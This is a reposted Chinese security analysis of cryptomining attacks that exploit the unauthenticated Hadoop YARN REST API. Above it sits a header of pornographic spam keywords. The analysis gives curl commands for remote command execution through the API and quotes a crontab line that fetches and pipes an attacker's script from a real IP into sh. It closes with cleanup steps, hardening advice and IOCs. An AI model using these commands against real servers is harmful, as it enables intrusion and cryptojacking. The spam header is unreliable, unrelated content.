日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Hadoop Yarn REST API未授权漏洞利用挖矿分析

發(fā)布時間:2024/8/23 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Hadoop Yarn REST API未授权漏洞利用挖矿分析 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

目錄

一、背景情況?

二、 漏洞說明?

攻擊步驟:

三、入侵分析

四、安全建議

清理病毒

安全加固

五、IOCs


一、背景情況?

5月5日騰訊云安全曾針對攻擊者利用Hadoop Yarn資源管理系統(tǒng)REST API未授權漏洞對服務器進行攻擊,攻擊者可以在未授權的情況下遠程執(zhí)行代碼的安全問題進行預警,在預警的前后我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析并提供響應的安全建議和解決方案。

?

二、 漏洞說明?

Hadoop是一個由Apache基金會所開發(fā)的分布式系統(tǒng)基礎架構,YARN是hadoop系統(tǒng)上的資源統(tǒng)一管理平臺,其主要作用是實現(xiàn)集群資源的統(tǒng)一管理和調度,可以把MapReduce計算框架作為一個應用程序運行在YARN系統(tǒng)之上,通過YARN來管理資源。簡單的說,用戶可以向YARN提交特定應用程序進行執(zhí)行,其中就允許執(zhí)行相關包含系統(tǒng)命令。

YARN提供有默認開放在8088和8090的REST API(默認前者)允許用戶直接通過API進行相關的應用創(chuàng)建、任務提交執(zhí)行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那么任何黑客則就均可利用其進行遠程命令執(zhí)行,從而進行挖礦等行為。

攻擊步驟:

1.?申請新的application

直接通過curl進行POST請求

curl -v -X POST?

'http://ip:8088/ws/v1/cluster/apps/new-application'

返回內容類似于:

2. 構造并提交任務

構造json文件1.json,內容如下,其中application-id對應上面得到的id,命令內容為嘗試在/var/tmp目錄下創(chuàng)建11112222_test_111122222文件,內容也為111:

然后直接

curl -s -i -X POST?-H 'Accept: application/json'?-H 'Content-Type:application/json'?

http://ip:8088/ws/v1/cluster/apps --data-binary @1.json

即可完成攻擊,命令被執(zhí)行,在相應目錄下可以看到生成了對應文件

更多漏洞詳情可以參考

http://bbs.qcloud.com/thread-50090-1-1.html

?

三、入侵分析

在本次分析的案例中,受害機器部署有Hadoop?YARN,并且存在未授權訪問的安全問題,黑客直接利用開放在8088的REST API提交執(zhí)行命令,來實現(xiàn)在服務器內下載執(zhí)行.sh腳本,從而再進一步下載啟動挖礦程序達到挖礦的目的。

整個利用過程相對比較簡單,通過捕捉Hadoop?的launch_container.sh執(zhí)行腳本,我們可以看到其中一個案例中相關任務執(zhí)行的命令:

可以很明顯的看到第8行位置,從185.222.210.59下載并執(zhí)行了一個名為x_wcr.sh的腳本。

在實際過程中,我們從多個案例捕獲了多個比如名為cr.sh的不同腳本,但實際的功能代碼都差不多,我們對其中一個x_wcr.sh腳本進行分析,代碼自上而下內容:

這部分代碼主要針對已存在的挖礦進程、文件進行清理。

這部分的代碼主要是判斷如果/tmp/java是一個存在并且可寫的文件,那么就判斷其MD5值是否匹配,MD5不匹配則根據(jù)w.conf關鍵詞查找并kill進程;如果非可寫的文件,則重新賦值DIR變量,這個變量主要用于后面部分代碼中下載挖礦等程序存放目錄。

然后接著是一些變量的賦值,包括再次判斷如果/tmp/java是一個目錄,則重新賦值DIR變量;判斷curl和wget命令是否存在,存在則賦值到WGET變量;f2則是賦值為某個IP,實則為是后續(xù)下載相關文件的服務器之一。

這部分代碼是其中比較核心的代碼,通過downloadIfNeed方法下載挖礦程序到$DIR目錄下并重命名為java,下載w.conf配置文件,給挖礦程序增加執(zhí)行權限,然后以nohup命令后臺運行挖礦程序并刪除配置文件;接著檢查crontab中的任務,如果不存在對應的任務,就將下載執(zhí)行腳本的任務"* * * * * $LDR http://185.222.210.59/cr.sh | sh > /dev/null 2>&1"添加到其中,這里$LDR為wget -q -O -或者curl,任務每分鐘執(zhí)行一次。

腳本中還包含了幾個嵌套調用的download方法,入口方法是downloadIfNeed:

這個方法的核心功能還是校驗已存在的挖礦程序的MD5,如果無法驗證或者文件不存在的情況,則直接調用download方法下載挖礦程序;如果文件存在但MD5匹配不正確,則調用download方法后再次驗證,驗證失敗則嘗試從另外一個下載渠道https://transfer.sh/WoGXx/zzz下載挖礦程序并再次驗證。最后還將相關結果上報到目標服務器$f2的re.php.

tmp.txt內容示例:

download方法判斷ppc文件的存在與否和 MD5是否匹配,如果不存在或MD5不匹配則調用download2下載,如果存在則復制重名為java。

download2方法則判斷系統(tǒng)下載對應版本的挖礦程序,其中http://185.222.210.59/g.php返回的是另外一個IP地址;下載成功后則再次驗證,并復制重命名為ppc。

在腳本的最后部分還有一些進程、文件、crontab清理的處理,用pkill刪除滿足條件的進程,刪除tmp目錄下pscd開頭的文件,以及說刪除crontab中存在某些關鍵詞的任務。

至此,我們完成整個腳本的分析,雖然整個腳本比較冗長,而且似乎各個函數(shù)嵌套調用,涉及文件也眾多,但其實整體就做了以下幾件事:

1.清理相關的進程、文件和crontab任務

2.判斷并下載挖礦程序,同時校驗MD5值,除了黑客自己控制的服務器,還利用https://transfer.sh提供備用下載,多種方式保障

3.增加腳本下載執(zhí)行任務添加到crontab里

其實,我們通過查看YARN的日志文件

yarn-root-nodemanager-master.hadoop.log

也可能看到相應的痕跡:

或者我們通過管理UI查看application詳情:

而crontab的任務日志也能看到相關的執(zhí)行記錄:

最終在/var/tmp目錄下也能找到相關的文件

?

四、安全建議

清理病毒

1.使用top查看進程,kill掉異常進程

2.檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常文件

3.檢查crontab任務列表,刪除異常任務

4.排查YARN日志,確認異常的application,刪除處理

安全加固

1.通過iptables或者安全組配置訪問策略,限制對8088等端口的訪問

2.如無必要,不要將接口開放在公網,改為本地或者內網調用

3.升級Hadoop到2.x版本以上,并啟用Kerberos認證功能,禁止匿名訪問

4.云鏡當前已支持該漏洞檢測,同時也支持挖礦木馬的發(fā)現(xiàn),建議安裝云鏡并開通專業(yè)版,及時發(fā)現(xiàn)漏洞并修復或者在中馬后能及時收到提醒進行止損

5.更多自檢和修復建議可以參考

http://bbs.qcloud.com/thread-50090-1-1.html

?

五、IOCs

錢包地址

4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

MD5

1.c8c1f2da51fbd0aea60e11a81236c9dc

2.183664ceb9c4d7179d5345249f1ee0c4

3.b00f4bbd82d2f5ec7c8152625684f853

礦池地址

1.158.69.133.20:3333

2.192.99.142.249:3333

3.202.144.193.110:3333

4.46.30.43.159:80

部分相關URL

1.?http://185.222.210.59/x_wcr.sh

2.?http://185.222.210.59/re.php

3.?http://185.222.210.59/g.php

4.?http://185.222.210.59/w.conf

5.?http://185.222.210.59/cr.sh

6.?http://192.99.142.226:8220/w.conf

7.?http://192.99.142.226:8220/xm64

8.?http://192.99.142.226:8220/cr.sh

9.?http://95.142.40.83/xm64

10.?http://95.142.40.83/xm32

11.?https://transfer.sh/1o3Kj/zzz

12.?https://transfer.sh/wbl5H/pscf

13.?https://transfer.sh/WoGXx/zzz

總結

以上是生活随笔為你收集整理的Hadoop Yarn REST API未授权漏洞利用挖矿分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。